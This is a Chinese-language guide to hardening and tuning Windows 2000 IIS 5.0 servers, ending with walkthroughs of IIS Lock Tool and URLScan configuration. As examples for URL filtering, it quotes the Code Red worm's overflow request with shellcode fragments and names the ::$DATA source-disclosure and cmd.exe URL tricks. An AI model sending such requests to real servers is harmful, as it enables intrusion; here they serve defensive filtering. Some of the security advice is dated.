为了对付日益增多的cgi漏洞扫描器,还有一个小技巧可以参考,在IIS中将HTTP404 Object Not Found出错页面通过URL重定向到一个定制HTM文件,可以让目前绝大多数CGI漏洞扫描器失灵。其实原因很简单,大多数CGI扫描器在编写时为了方便,都是通过查看返回页面的HTTP代码来判断漏洞是否存在的,例如,著名的IDQ漏洞一般都是通过取1.idq来检验,如果返回HTTP200,就认为是有这个漏洞,反之如果返回HTTP404就认为没有,如果你通过URL将HTTP404出错信息重定向到HTTP404.htm文件,那么所有的扫描无论存不存在漏洞都会返回HTTP200,90%的CGI扫描器会认为你什么漏洞都有,结果反而掩盖了你真正的漏洞,让入侵者茫然无处下手,不过从个人角度来说,我还是认为扎扎实实做好安全设置比这样的小技巧重要的多。

最后,为了保险起见,你可以使用IIS的备份功能,将刚刚的设定全部备份下来,这样就可以随时恢复IIS的安全配置。还有,如果你怕IIS负荷过高导致服务器满负荷死机,也可以在性能中打开CPU限制,例如将IIS的最大CPU使用率限制在70%。

8.帐号尽可能少,且尽可能少用来登录;
说明:网站帐号一般只用来做系统维护,多余的帐号一个也不要,因为多一个帐号就会多一份被攻破的危险。
除过Administrator外,有必要再增加一个属于管理员组的帐号;
说明:两个管理员组的帐号,一方面防止管理员一旦忘记一个帐号的口令还
 有一个备用帐号;另方面,一旦黑客攻破一个帐号并更改口令,我们还有有机会重新在短期内取得控制权。

所有帐号权限需严格控制,轻易不要给帐号以特殊权限;
将Administrator重命名,改为一个不易猜的名字。其他一般帐号也应尊循这一原则。
说明:这样可以为黑客攻击增加一层障碍。
将Guest帐号禁用,同时重命名为一个复杂的名字,增加口令,并将它从
Guest组删掉;
说明:有的黑客工具正是利用了guest 的弱点,可以将帐号从一般用户提
升到管理员组。
给所有用户帐号一个复杂的口令(系统帐号出外),长度最少在8位以上, 且必须同时包含字母、数字、特殊字符。同时不要使用大家熟悉的单词(如microsoft)、熟悉的键盘顺序(如qwert)、熟悉的数字(如2000)等。
说明:口令是黑客攻击的重点,口令一旦被突破也就无任何系统安全可言了,而这往往是不少网管所忽视的地方,据我们的测试,仅字母加数字的5位口令在几分钟内就会被攻破,而所推荐的方案则要安全的多。
口令必须定期更改(建议至少两周该一次),且最好记在心里,除此以外不要在任何地方做记录;另外,如果在日志审核中发现某个帐号被连续尝试,则必须立刻更改此帐号(包括用户名和口令);
在帐号属性中设立锁定次数,比如改帐号失败登录次数超过5次即锁定改帐号。这样可以防止某些大规模的登录尝试,同时也使管理员对该帐号提高警惕。

9.Win2000的默认安装是不开任何安全审核的!
你到本地安全策略->审核策略中打开相应的审核,推荐的审核是:
账户管理 成功 失败
登录事件 成功 失败
对象访问 失败
策略更改 成功 失败
特权使用 失败
系统事件 成功 失败
目录服务访问 失败
账户登录事件 成功 失败
审核项目少的缺点是万一你想看发现没有记录那就一点都没辙;审核项目太多不仅会占用系统资源而且会导致你根本没空去看,这样就失去了审核的意义。 与之相关的是:
在账户策略->密码策略中设定:
密码复杂性要求 启用
密码长度最小值 6位
强制密码历史 5次
最长存留期 30天
在账户策略->账户锁定策略中设定:
账户锁定 3次错误登录
锁定时间 20分钟
复位锁定计数 20分钟
同样,Terminal Service的安全日志默认也是不开的,我们可以在Terminal Service Configration(远程服务配置)-权限-高级中配置安全审核,一般来说只要记录登录、注销事件就可以了。

10.为了控制好服务器上用户的权限,同时也为了预防以后可能的入侵和溢出,NT的访问权限分为:读取、写入、读取及执行、修改、列目录、完全控制。在默认的情况下,大多数的文件夹对所有用户(Everyone这个组)是完全敞开的(Full Control),你需要根据应用的需要进行权限重设。
在进行权限控制时,请记住以下几个原则:
1>限是累计的:如果一个用户同时属于两个组,那么他就有了这两个组所允许的所有权限;
2>拒绝的权限要比允许的权限高(拒绝策略会先执行)如果一个用户属于一个被拒绝访问某个资源的组,那么不管其他的权限设置给他开放了多少权限,他也一定不能访问这个资源。所以请非常小心地使用拒绝,任何一个不当的拒绝都有可能造成系统无法正常运行;
3>文件权限比文件夹权限高
4>利用用户组来进行权限控制是一个成熟的系统管理员必须具有的优良习惯之一;
5>仅给用户真正需要的权限,权限的最小化原则是安全的重要保障;

11.只安装一种操作系统;
说明:安装两种以上操作系统,会给黑客以可乘之机,利用攻击使系统重启到另外一个没有安全设置的操作系统(或者他熟悉的操作系统),进而进行破坏。

12.安装成独立的域控制器(Stand Alone),选择工作组成员,不选择域;
说明:主域控制器(PDC)是局域网中队多台联网机器管理的一种方式,用于网站服务器包含着安全隐患,使黑客有可能利用域方式的漏洞攻击站点服务器。


13.将操作系统文件所在分区与WEB数据包括其他应用程序所在的分区分开,并在安装时最好不要使用系统默认的目录,如将\WINNT改为其他目录;
说明:黑客有可能通过WEB站点的漏洞得到操作系统对操作系统某些程序的执行权限,从而造成更大的破坏。同时如果采用IIS的话你应该在其设置中删除掉所有的无用的映射,同时不要安装索引服务,远程站点管理与服务器扩展最好也不要要,然后删掉默认路径下的www,整个删,不要手软,然后再硬盘的另一个硬盘建立存放你网站的文件夹,同时一定记得打开w3c日志纪录,切记(不过本人建议采用apache 1.3.24)

系统安装过程中一定本着最小服务原则,无用的服务一概不选择,达到系统的最小安装,多一个服务,多一份风险,呵呵,所以无用组件千万不要安装!

14.关于补丁:在NT下,如果安装了补丁程序,以后如果要从NT光盘上安装新的Windows程序,都要重新安装一次补丁程序, 2000下不需要这样做。
说明:

最新的补丁程序,表示系统以前有重大漏洞,非补不可了,对于局域网内服务器可以不是最新的,但站点必须安装最新补丁,否则黑客可能会利用低版本补丁的漏洞对系统造成威胁。这是一部分管理员较易忽视的一点;
安装NT的SP5、SP6有一个潜在威胁,就是一旦系统崩溃重装NT时,系统将不会认NTFS分区,原因是微软在这两个补丁中对NTFS做了改进。只能通过Windows 2000安装过程中认NTFS,这样会造成很多麻烦,建议同时做好数据备份工作。
安装Service Pack前应先在测试机器上安装一次,以防因为例外原因导致机器死机,同时做好数据备份。

尽量不安装与WEB站点服务无关的软件;
说明:其他应用软件有可能存在黑客熟知的安全漏洞。


15.解除NetBios与TCP/IP协议的绑定

说明:NetBois在局域网内是不可缺少的功能,在网站服务器上却成了黑客扫描工具的首选目标。方法:NT:控制面版——网络——绑定——NetBios接口——禁用 2000:控制面版——网络和拨号连接——本地网络——属性——TCP/IP——属性——高级——WINS——禁用TCP/IP上的NETBIOS

16.删除所有的网络共享资源,在网络连接的设置中删除文件和打印共享,只留下TCP/IP协议

说明:2000在默认情况下有不少网络共享资源,在局域网内对网络管理和网络通讯有用,在网站服务器上同样是一个特大的安全隐患。(卸载"Microsoft 网络的文件和打印机共享"。当查看"网络和拨号连接"中的任何连接属性时,将显示该选项。单击"卸载"按钮删除该组件;清除"Microsoft 网络的文件和打印机共享"复选框将不起作用。)
方法:
1>2000:控制面版——管理工具——计算及管理——共享文件夹———停止共享
但上述方法太麻烦,服务器每重启一次,管理员就必须停止一次
2>修改注册表:
 HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters下增加一个键
Name: AutoShareServer
Type: REG_DWORD
value: 0
然后重新启动您的服务器,磁盘分区共享去掉,但IPC共享仍存在,需每次重启后手工删除。

17.改NTFS的安全权限;
说明:NTFS下所有文件默认情况下对所有人(EveryOne)为完全控制权限,这使黑客有可能使用一般用户身份对文件做增加、删除、执行等操作,建议对一般用户只给予读取权限,而只给管理员和System以完全控制权限,但这样做有可能使某些正常的脚本程序不能执行,或者某些需要写的操作不能完成,这时需要对这些文件所在的文件夹权限进行更改,建议在做更改前先在测试机器上作测试,然后慎重更改。

18.加强数据备份;
说明:这一点非常重要,站点的核心是数据,数据一旦遭到破坏后果不堪设想,而这往往是黑客们真正关心的东西;遗憾的是,不少网管在这一点上作的并不好,不是备份不完全,就是备份不及时。数据备份需要仔细计划,制定出一个策略并作了测试以后才实施,而且随着网站的更新,备份计划也需要不断地调整。

19.只保留TCP/IP协议,删除NETBEUI、IPX/SPX协议;
说明:网站需要的通讯协议只有TCP/IP,而NETBEUI是一个只能用于局域网的协议,IPX/SPX是面临淘汰的协议,放在网站上没有任何用处,反而会被某些黑客工具利用。

20.不要起用IP转发功能,控制面板->网络->协议->TCP/IP协议->属性,使这个选框为空。(NT)
说明:缺省情况下,NT的IP转发功能是禁止的,但注意不要启用,否则它会具有路由作用,被黑客利用来对其他服务器进行攻击。

21.安装最新的MDAC(http://www.microsoft.com/data/download.htm)
说明:MDAC为数据访问部件,通常程序对数据库的访问都通过它,但它也是黑客攻击的目标,为防止以前版本的漏洞可能会被带入升级后的版本,建议卸载后安装最新的版本。注意:在安装最新版本前最好先做一下测试,因为有的数据访问方式或许在新版本中不再被支持,这种情况下可以通过修改注册表来档漏洞,祥见漏洞测试文档。

22.设置IP拒绝访问列表
说明:对于WWW服务,可以拒绝一些对站点有攻击嫌疑的地址;尤其对于FTP服务,如果只是自己公司上传文件,就可以只允许本公司的IP访问改FTP服务,这样,安全性大为提高。

23.禁止对FTP服务的匿名访问
说明:如果允许对FTP服务做匿名访问,该匿名帐户就有可能被利用来获取更多的信息,以致对系统造成危害。

24.建议使用W3C扩充日志文件格式,每天记录客户IP地址,用户名,服务器端口,方法,URI字根,HTTP状态,用户代理,而且每天均要审查日志。(最好不要使用缺省的目录,建议更换一个记日志的路径,同时设置日志的访问权限,只允许管理员和system为Full Control)
说明:作为一个重要措施,既可以发现攻击的迹象,采取预防措施,也可以作为受攻击的一个证据。

25.慎重设置WEB站点目录的访问权限,一般情况下,不要给予目录以写入和允许目录浏览权限。只给予.ASP文件目录以脚本的权限,而不要给与执行权限。
说明:目录访问权限必须慎重设置,否则会被黑客利用。

免。

26.涉及用户名与口令的程序最好封装在服务器端,尽量少的在ASP文件里出现,涉及到与数据库连接地用户名与口令应给予最小的权限。
说明:用户名与口令,往往是黑客们最感兴趣的东西,如果被通过某种方式看到源代码,后果是严重的。因此要尽量减少它们在ASP文件中的出现次数。出现次数多得用户名与口令可以写在一个位置比较隐蔽的包含文件中。如果涉及到与数据库连接,理想状态下只给它以执行存储过程的权限,千万不要直接给予该用户以修改、插入、删除记录的权限。

27.需要经过验证的ASP页面,可跟踪上一个页面的文件名,只有从上一页面转进来的会话才能读取这个页面。
说明:现在的需要经过验证的ASP程序多是在页面头部加一个判断语句,但这还不够,有可能被黑客绕过验证直接进入,因此有必要跟踪上一个页面。具体漏洞见所附漏洞文档。

28.防止ASP主页.inc文件泄露问题
当存在asp 的主页正在制作并没有进行最后调试完成以前,可以被某些搜索引擎机动追加为搜索对象,如果这时候有人利用搜索引擎对这些网页进行查找,会得到有关文件的定位,并能在浏览器中察看到数据库地点和结构的细节揭示完整的源代码。
解决方案:应该在网页发布前对其进行彻底的调试;安全专家需要固定asp 包含文件以便外部的用户不能看他们。 首先对 .inc 文件内容进行加密,其次也可以使用 .asp 文件代替 .inc 文件使用户无法从浏览器直接观看文件的源代码。.inc 文件的文件名不用使用系统默认的或者有特殊含义容易被用户猜测到的,尽量使用无规则的英文字母。

29.注意某些ASP编辑器会自动备份asp文件,会被下载的漏洞
在有些编辑asp程序的工具,当创建或者修改一个asp文件时,编辑器自动创建一个备份文件,比如:UltraEdit就会备份一个..bak文件,如你创建或者修改了some.asp,编辑器自动生成一个叫some.asp.bak文件,如果你没有删除这个 bak文件,攻击有可以直接下载some.asp.bak文件,这样some.asp的源程序就会给下载。
在处理类似留言板、BBS等输入框的ASP程序中,最好屏蔽掉HTML、javascript、VBScript语句,如无特殊要求,可以限定只允许输入字母与数字,屏蔽掉特殊字符。同时对输入字符的长度进行限制。而且不但在客户端进行输入合法性检查,同时要在服务器端程序中进行类似检查。
说明:输入框是黑客利用的一个目标,他们可以通过输入脚本语言等对用户客户端造成损坏; 如果该输入框涉及到数据查询,他们会利用特殊查询输入得到更多的数据库数据,甚至是表的全部。因此必须对输入框进行过滤。但如果为了提高效率仅在客户端进行输入合法性检查,仍有可能被绕过,因此必须在服务器端再做一次检查。

30.防止ACCESS mdb 数据库有可能被下载的漏洞
在用ACCESS做后台数据库时,如果有人通过各种方法知道或者猜到了服务器的ACCESS数据库的路径和数据库名称,那么他能够下载这个ACCESS数据库文件,这是非常危险的。
解决方法:
1>为你的数据库文件名称起个复杂的非常规的名字,并把他放在几目录下。所谓 "非常规", 打个比方: 比如有个数据库要保存的是有关书籍的信息, 可不要把他起个"book.mdb"的名字,起个怪怪的名称,比如d34ksfslf.mdb, 再把他放在如./kdslf/i44/studi/ 的几层目录下,这样黑客要想通过猜的方式得到你的ACCESS数据库文件就难上加难了。
2>不要把数据库名写在程序中。有些人喜欢把DSN写在程序中,比如:
DBPath = Server.MapPath("cmddb.mdb")
conn.Open "driver={Microsoft Access Driver (*.mdb)};dbq=" & DBPath
假如万一给人拿到了源程序,你的ACCESS数据库的名字就一览无余。因此建议你在ODBC里设置数据源,再在程序中这样写:
conn.open "shujiyuan"
3>使用ACCESS来为数据库文件编码及加密。首先在选取 "工具->安全->加密/解密数据库,选取数据库(如:employer.mdb),然后接确定,接着会出现 "数据库加密后另存为"的窗口,存为:employer1.mdb。 接着employer.mdb就会被编码,然后存为employer1.mdb..
要注意的是,以上的动作并不是对数据库设置密码,而只是对数据库文件加以编码,目的是为了防止他人使用别的工具来查看数据库文件的内容。
接下来我们为数据库加密,首先以打开经过编码了的 employer1.mdb, 在打开时,选择"独占"方式。然后选取功能表的"工具->安全->设置数据库密码", 接着 输入密码即可。这样即使他人得到了employer1.mdb文件,没有密码他是无法看到 employer1.mdb的。

31.SQL SERVER是NT平台上用的最多的数据库系统,但是它的安全问题也必须引起重视。数据库中往往存在着最有价值的信息,一旦数据被窃后果不堪设想。

及时更新补丁程序。
说明:与NT一样,SQL SERVER的许多漏洞会由补丁程序来弥补。建议在安装补丁程序之前先在测试机器上做测试,同时提前做好目标服务器的数据备份。

给SA一个复杂的口令。
说明:SA具有对SQL SERVER数据库操作的全部权限。遗憾的是,一部分网管对数据库并不熟悉,建立数据库的工作由编程人员完成,而这部分人员往往只注重编写SQL 语句本身,对SQL SERVER数据库的管理不熟悉,这样很有可能造成SA口令为空。这对数据库安全是一个严重威胁。目前具有这种隐患的站点不在少数。

严格控制数据库用户的权限,轻易不要给让用户对表有直接的查询、更改、插入、删除权限,可以通过给用户以访问视图的权限,以及只具有执行存储过程的权限。
说明:用户如果对表有直接的操作权限,就会存在数据被破坏的危险。

制订完整的数据库备份与恢复策略。

32.目前,PCANYwhere是最流行的基于2000的远程控制工具,同样也需要注意安全问题。

建议采用单独的用户名与口令,最好采用加密手段。千万不要采用与NT管理员一样的用户名与口令,也不要使用与NT集成的口令。同时在服务器端的设置时务必采用security options中的强加密方式,拒绝低加密水平的连接,同时采用口令加密与传输过程中的用户名与口令加密,以防止被嗅探到,还要限制连接次数,另外很重要的一点就是一定在protect item中设置高强度的口令,同时一定限制不能够让别人看到你的host端的任何设置,即便是要察看主机端的相关设置也必须要输入口令!
说明:PCANYwhere 口令是远程控制的第一个关口,如果与NT的一样, 就失去了安全屏障。被攻破后就毫无安全可言。而如果采用单独的口令,即使攻破了PCANYwhere,NT还有一个口令屏障。
及时安装较新的版本。

33.实际上,安全和应用在很多时候是矛盾的,因此,你需要在其中找到平衡点,毕竟服务器是给用户用而不是做OPEN HACK的,如果安全原则妨碍了系统应用,那么这个安全原则也不是一个好的原则。 网络安全是一项系统工程,它不仅有空间的跨度,还有时间的跨度。很多朋友(包括部分系统管理员)认为进行了安全配置的主机就是安全的,其实这其中有个误区:我只能说一台主机在一定的情况一定的时间上是安全的随着网络结构的变化、新的漏洞的发现,管理员/用户的操作,主机的安全状况是随时随地变化着的,只有让安全意识和安全制度贯穿整个过程才能做到真正的安全。

提高IIS 5.0网站伺服器的执行效率的八种方法  
以下是提高IIS 5.0网站伺服器的执行效率的八种方法:
1. 启用HTTP的持续作用可以改善15~20%的执行效率。  
2. 不启用记录可以改善5~8%的执行效率。  
3. 使用 [独立] 的处理程序会损失20%的执行效率。  
4. 增加快取记忆体的保存档案数量,可提高Active Server Pages之效能。  
5. 勿使用CGI程式。  
6. 增加IIS 5.0电脑CPU数量。  
7. 勿启用ASP侦错功能。  
8. 静态网页采用HTTP 压缩,大约可以减少20%的传输量。  
 
34.启用HTTP的持续作用(Keep-Alive)时,IIS与浏览器的连线不会断线,可以改善执行效率,直到浏览器关闭时连线才会断线。因为维持「Keep-Alive」状态时,於每次用户端请求时都不须重新建立一个新的连接,所以将改善伺服器的效率。此功能为HTTP1.1预设的功能,HTTP 1.0加上Keep-Alive header也可以提供HTTP的持续作用功能。
 
启用HTTP的持续作用可以改善15~20%的执行效率。  
如何启用HTTP的持续作用呢?步骤如下:在 [Internet服务管理员] 中,选取整个IIS电脑、或Web站台,於 [内容] 之 [主目录] 页,勾选 [HTTP的持续作用] 选项。
   
35.不启用记录可以改善5~8%的执行效率。如何设定不启用记录呢?步骤如下:  
在 [Internet服务管理员] 中,选取整个IIS电脑、或Web站台,於 [内容] 之 [主目录] 页,不勾选 [启用记录] 选项。设定非独立的处理程序使用 [独立] 的处理程序会损失20%的执行效率,此处所谓 独立」系指将 [主目录]、[虚拟目录] 页之应用程式保护选项设定为 [高(独立的)] 时。因此 [应用程式保护] 设定为 [低 (IIS处理程序)] 时执行效率较高如何设定非「独立」的处理程序呢?步骤如下: 在 [Internet服务管理员] 中,选取整个IIS电脑、Web站台、或应用程式的起始目录。於 [内容] 之 [主目录]、[虚拟目录] 页,设定应用程式保护选项为 [低 (IIS处理程序)] 。  
 
36.IIS 5.0将静态的网页资料暂存於快取(Cache)记忆体当中;IIS 4.0则将静态的网页资料暂存於档案当中。调整快取(Cache)记忆体的保存档案数量可以改善执行效率。ASP指令档案执行过後,会在暂存於快取(Cache)记忆体中以提高执行效能。增加快取记忆体的保存档案数量,可提高Active Server Pages之效能。可以设定所有在整个IIS电脑、「独立」Web站台、或「独立」应用程式上执行之应用程式的快取记忆体档案数量。如何设定快取(Cache)功能呢?步骤如下:在 [Internet服务管理员] 中选取整个IIS电脑、「独立」Web站台、或「独立」应用程式的起始目录。於 [内容] 之 [主目录]、[虚拟目录] 页,按下 [设定] 按钮时,即可由 [处理程序选项] 页设定[指令档快取记忆体] 。如何设定快取(Cache)记忆体档案数量呢?步骤如下:在[Internet服务管理员] 中,选取整个IIS电脑、或Web站台的起始目录。於 [内容] 之[伺服器扩充程式] 页,按下 [设定] 按钮。即可设定快取(Cache)记忆体档案数量。
 
37.使用CGI程式时,因为处理程序(Process)须不断地产生与摧毁,造成执行效率不佳。一般而言,执行效率比较如下: 静态网页(Static):100 ISAPI:50 ASP:10 CGI:1  换句话说,ASP比CGI可能快10倍,因此勿使用CGI程式可以改善IIS的执行效率。以弹性(Flexibility)而言:ASP > CGI > ISAPI > 静态网页(Static)。以安全(Security)而言:ASP(独立) = ISAPI(独立)= CGI > ASP(非独立) = ISAPI(非独立)= 静态网页(Static)
 
38.根据微软的测试报告,增加IIS 4.0电脑CPU数量,执行效率并不会改善多少;但是增加IIS 5.0电脑CPU数量,执行效率会几乎成正比地提供,换句话说,两颗CPU的IIS5.0电脑执行效率几乎是一颗CPU电脑的两倍,四颗CPU的IIS 5.0电脑执行效率几乎是一颗CPU电脑的四倍IIS 5.0将静态的网页资料暂存於快取(Cache)记忆体当中;IIS 4.0 则将静态的网页资料暂存於档案当中。调整快取(Cache)记忆体的保存档案数量可以改善执行效率。  
 
39.勿启用ASP侦错功能可以改善执行效率。如何勿启用ASP侦错功能呢?步骤如下:於[Internet服务管理员] 中,选取Web站台、或应用程式的起始目录,按右键选择[内容],按 [主目录]、[虚拟目录] 或 [目录] 页,按下 [设定] 按钮,选择 [应用程式侦错] 页,不勾选 [启用ASP伺服器端指令侦错]、[启用ASP用户端指令侦错] 选项。

40.静态网页采用HTTP 压缩,大约可以减少20%的传输量。HTTP压缩功能启用或关闭,系针对整台IIS伺服器来设定。用户端使用IE 5.0浏览器连线到已经启用HTTP压缩IIS5.0之Web伺服器,才有HTTP压缩功能。如何启用HTTP压缩功能呢?步骤如下:若要启用HTTP 压缩功能,方法为在 [Internet服务管理员] 中,选取电脑之 [内容],於 [主要内容] 之下选取 [WWW服务]。然後按一下 [编辑] 按钮,於 [服务] 页上,选取 [压缩静态档案] 可以压缩静态档案,不选取 [压缩应用程式档案] 。  动态产生的内容档案(压缩应用程式档案)也可以压缩,但是须耗费额外CPU处理时间,若%Processor Time已经百分之八十或更多时,建议不要压缩

以上是对采用IIS作为WEB服务器的一些安全相关的设置与其性能调整的参数设置,可以最大化的优化你的IIS,不过个人认为如果不存在障碍,还是采用apache比较好一些,漏洞少,建议采用apache 1.3.24版本,因为最近经测试,apache 1.3.23之前的版本都存在溢出漏洞,不要怕,这种漏洞很少的,呵呵。另外,个人建议不要采用ASP安全性总不叫人放心,个人认为还是采用JSP好一些,安全性好,功能强大,绝对超值,呵呵,因为PHP也存在不少的洞洞
############################################################ ################################
附:IIS安全工具及其使用说明

一、IIS Lock Tool,快速设置IIS安全属性

  IIS Lock Tool的推出,还要感谢红色代码,因为正是红色代码的大面积传播,致使微软设计发布这款帮助管理员们设置IIS安全性的工具。

(一)、IIS Lock Tool具有以下功能和特点

  1、最基本功能,帮助管理员设置IIS安全性;

  2、此工具可以在IIS4和IIS5上使用;

  3、即使系统没有及时安装所有补丁,也能有效防止IIS4和IIS5的已知漏洞;

  4、帮助管理员去掉对本网站不必要的一些服务,使IIS在满足本网站需求的情况下运行最少的服务;

  5、具有两种使用模式:快捷模式和高级模式。快捷模式直接帮助管理员设置好IIS安全性,这种模式只适合于只有HTML和HTM静态网页的网站使用,因为设置完成以后,ASP不能运行;高级模式允许管理员自己设置各种属性,设置得当,对IIS系统任何功能均没有影响。

(二)、IIS Lock Tool的使用

  1、软件下载和安装

  IIS Lock Tool在微软网站下载,下载地址:
http://www.microsoft.com/Downloads/…ReleaseID=32362

  安装很简单,需要注意的是,安装以后,程序不会在系统的【程序】菜单出现,也不会在【管理工具】出现,需要安装者在安装目录寻找运行该程序。

  2、软件的使用

  在以下的介绍中,我们将详细介绍每一步设置的意义和推荐设置,之所以详细介绍,是为了我们明白这些设置到底意味着什么,同时,和我们原来的安全设置相对照,避免出现设置完成以后,系统出现.

  以上界面介绍了IIS Lock Tool的一些基本情况和使用时需要注意的地方:1)使用时应该选择针对本网站最少的服务,去掉不必要的服务;2)设置完成以后,建议对网站进行彻底检查,以确定设置对本网站是否合适;

  在以上,点击【下一步】按钮


以上选择快捷模式还是高级模式来运行软件,在这里,软件介绍了两者模式的区别:

 快捷模式:此设置模式关闭了IIS的一些高级服务属性,其中包括动态网页属性(ASP);所以,我们需要再重复一遍,选择快捷模式只适合提供静态页面的网站,当然,这种模式是相对最安全的。

  高级模式:此模式运行安装者自定义各种属性,同时允许高级属性的运行。

  快捷模式设置我们不必介绍,点击【下一步】按钮就可以设置完成。我们选择【Advanced Lockdown】(高级设置),点击【下一步】按钮


  以上帮助管理员设置各种脚本映射,我们来看每一种映射应该怎样设置:

  1)Disable support Active Server Pages(ASP),选择这种设置将使IIS不支持ASP功能;可以根据网站具体情况选择,一般不选择此项,因为网站一般要求运行ASP程序;

  2)Disable support Index Server Web Interface(.idq,.htw,.ida),选择这一项将不支持索引服务,具体就是不支持.idq,.htw,.ida这些文件。我们先来看看到底什么是索引服务,然后来决定取舍。索引服务是IIS4中包含的内容索引引擎。你可以对它进行ADO调用并搜索你的站点,它为你提供了一个很好的web 搜索引擎。如果你的网站没有利用索引服务对网站进行全文检索,也就可以取消网站的这个功能,取消的好处是:1)减轻系统负担;2)有效防止利用索引服务漏洞的病毒和黑客,因为索引服务器漏洞可能使攻击者控制网站服务器,同时,暴露网页文件在服务器上的物理位置(利用.ida、.idq)。因此,我们一般建议在这一项前面打勾,也就是取消索引服务;

 3)Disable support for Server Side Includes(.shtml,.shtm,.stm),取消服务器端包含;先来看看什么叫服务器端包含,SSI就是HTML文件中,可以通过注释行调用的命令或指针。SSI 具有强大的功能,只要使用一条简单的SSI 命令就可以实现整个网站的内容更新,动态显示时间和日期,以及执行shell和CGI脚本程序等复杂的功能。一般而言,我们没有用到这个功能,所以,建议取消;取消可以防止一些IIS潜在地漏洞;

  4)Disable for Internet Data Connector(.idc),取消Internet数据库连接;先看Internet数据库连接的作用,它允许HTML页面和后台数据库建立连接,实现动态页面。需要注意的是,IIS4和IIS5中基本已经不使用idc,所以,建议在此项打勾,取消idc;

  5)Disable support for Internet Printing (.printer),取消Internet打印;这一功能我们一般没有使用,建议取消;取消的好处是可以避免.printer远程缓存溢出漏洞,这个漏洞使攻击者可以利用这个漏洞远程入侵IIS 服务器,并以系统管理员(system)身份执行任意命令;

  6)Disable support for .HTR Scripting(.htr),取消htr映射;攻击者通过htr构造特殊的URL请求,可能导致网站部分文件源代码暴露(包括ASP),建议在此项前面打勾,取消映射;

  理解以上各项设置以后,我们可以根据本网站情况来决定取舍,一般网站除了ASP要求保留以外,其他均可以取消,也就是全消第一项前面的勾,其他全部打勾,按【下一步】按钮

以上设置可以让管理员选择一些IIS默认安装文件的保留与否,我们来看怎样选择:

  1)Remove sample web files,删除web例子文件;建议删除,因为一般我们不需要在服务器上阅读这些文件,而且,这些文件可能让攻击者利用来阅读部分网页源程序代码(包括ASP);

  2)Remove the Scripts vitual directory,删除脚本虚拟目录;建议删除;

  3)Remove the MSDAC virtual directory,删除MSDAC虚拟目录,建议删除;

  4)Disable Distribauted Authoring and Versioning(WebDAV),删除WEBDAV,WebDav主要允许管理者远程编写和修改页面,一般我们不会用到,建议删除,删除的好处是可以避免IIS5的一个WebDav漏洞,该漏洞可能导致服务器停止。

  5)Set file permissions to prevent the IIS anouymous user from executing system utilities(such as cmd.exe,tftp.exe),防止匿名用户运行可执行文件,比如cmd.exe和tftp.exe;建议选择此项,因为红色代码和尼姆达均利用了以上所说的匿名执行可执行文件的功能;

  6)Set file permissions to prevent the IIS anouymous user from writing to content directories,防止匿名用户对目录具有写权限,这个不要解释,建议选择;

  设置以上选项以后,按【下一步】按钮

  要求确认是否接受以上设置,选择【是】,开始对系统执行设置:

  在以上中,我们可以看到对IIS的详细设置情况。设置完成以后,建议重新启动IIS。
############################################################ ################################
41.仔细观察IIS的漏洞,我们几乎可以得出这样一个结论,所有利用这些漏洞实现对网站攻击的手段均是构造特殊的URL来访问网站,一般有以下几种类型的URL可以利用漏洞:

  1、特别长的URL,比如红色代码攻击网站的URL就是这样:

GET/default.idaXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX XXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u 7801%u
9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u 8190%u
00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200;

 2、特殊字符或者字符串的URL,比如在URL后面加::$DATA可以看到网页(ASP)源代码;

  3、URL中含有可执行文件名,最常见的就是有cmd.exe;

  既然这些攻击利用特殊的URL来实现,所以,微软提供了这款专门过滤非法URL的安全工具,可以达到御敌于国门之外的效果,这款工具有以下特点和功能:

  1、基本功能:过滤非法URL请求;

  2、设定规则,辨别那些URL请求是合法的;这样,就可以针对本网站来制定专门的URL请求规则;同时,当有新的漏洞出现时,可以更改这个规则,达到防御新漏洞的效果;

  3、程序提供一套URL请求规则,这个规则包含已经发现的漏洞利用特征,帮助管理员设置规则;

42.URLScan可以在微软的网站上下载,地址如下:

http://download.microsoft.com/downl…-US/UrlScan.exe

  和一般软件一样安装,但是,此软件不能选择安装路径,安装完成以后,我们可以在System32/InetSvr/URLScan目录下找到以下文件:

  urlscan.dll:动态连接库文件;
  urlscan.inf:安装信息文件;
  urlscan.txt:软件说明文件;
  urlscan.ini:软件配置文件,这个文件很只要,因为对URLScan的所有配置,均有这个文件来完成。

43.软件的配置由urlscan.ini文件来完成,在配置此文件以前,我们需要了解一些基本知识。

 1、urlscan配置文件的构造形式

  urlscan配置文件必须遵从以下规则:

  (1)此文件名必须为urlscan.ini;

  (2)配置文件必须和urlscan.dll在同一目录;

  (3)配置文件必须是标准ini文件结构,也就是由节,串和值组成;

  (4)配置文件修改以后,必须重新启动IIS,使配置生效;

  (5)配置文件由以下各节组成:

  [Option]节,主要设置节;
  [AllowVerbs]节,配置认定为合法URL规则设定,此设定与Option节有关;
  [DenyVerbs]节,配置认定为非法URL规则设定,此设定与Option节有关;
  [DenyHeaders]节,配置认定为非法的header在设立设置;
  [AllowExtensions]节,配置认定为合法的文件扩展名在这里设置,此设定与Option节有关;
  [DenyExtensions]节,配置认定为非法的文件扩展名在这里设置,此设定与Option节有关;

  2、具体配置

  (1)Option节的配置,因为Option节的设置直接影响到以后的配置,因此,这一节的设置特别重要。此节主要进行以下属性的设置:

  UseAllowVerbs:使用允许模式检查URL请求,如果设置为1,所有没有在[AllowVerbs]节设置的请求都被拒绝;如果设置为0,所有没有在[DenyVerbs]设置的URL请求都认为合法;默认为1;

  UseAllowExtensions:使用允许模式检测文件扩展名;如果设置为 1,所有没在[AllowExtensions]节设置的文件扩展名均认为是非法请求;如果设置为0,所有没在[DenyExtensions]节设置的扩展名均被认为是合法请求;默认为0;

  EnableLogging:是否允许使用Log文件,如果为1,将在urlscan.dll的相同目录设置名为urlscan.log的文件记录所有过滤;

  AllowLateScanning:允许其他URL过滤在URLScan过滤之前进行,系统默认为不允许0;

  alternateServerName:使用服务名代替;如果此节存在而且[RemoveServerHeader]节设置为0,IIS将在这里设置的服务器名代替默认的"Server";

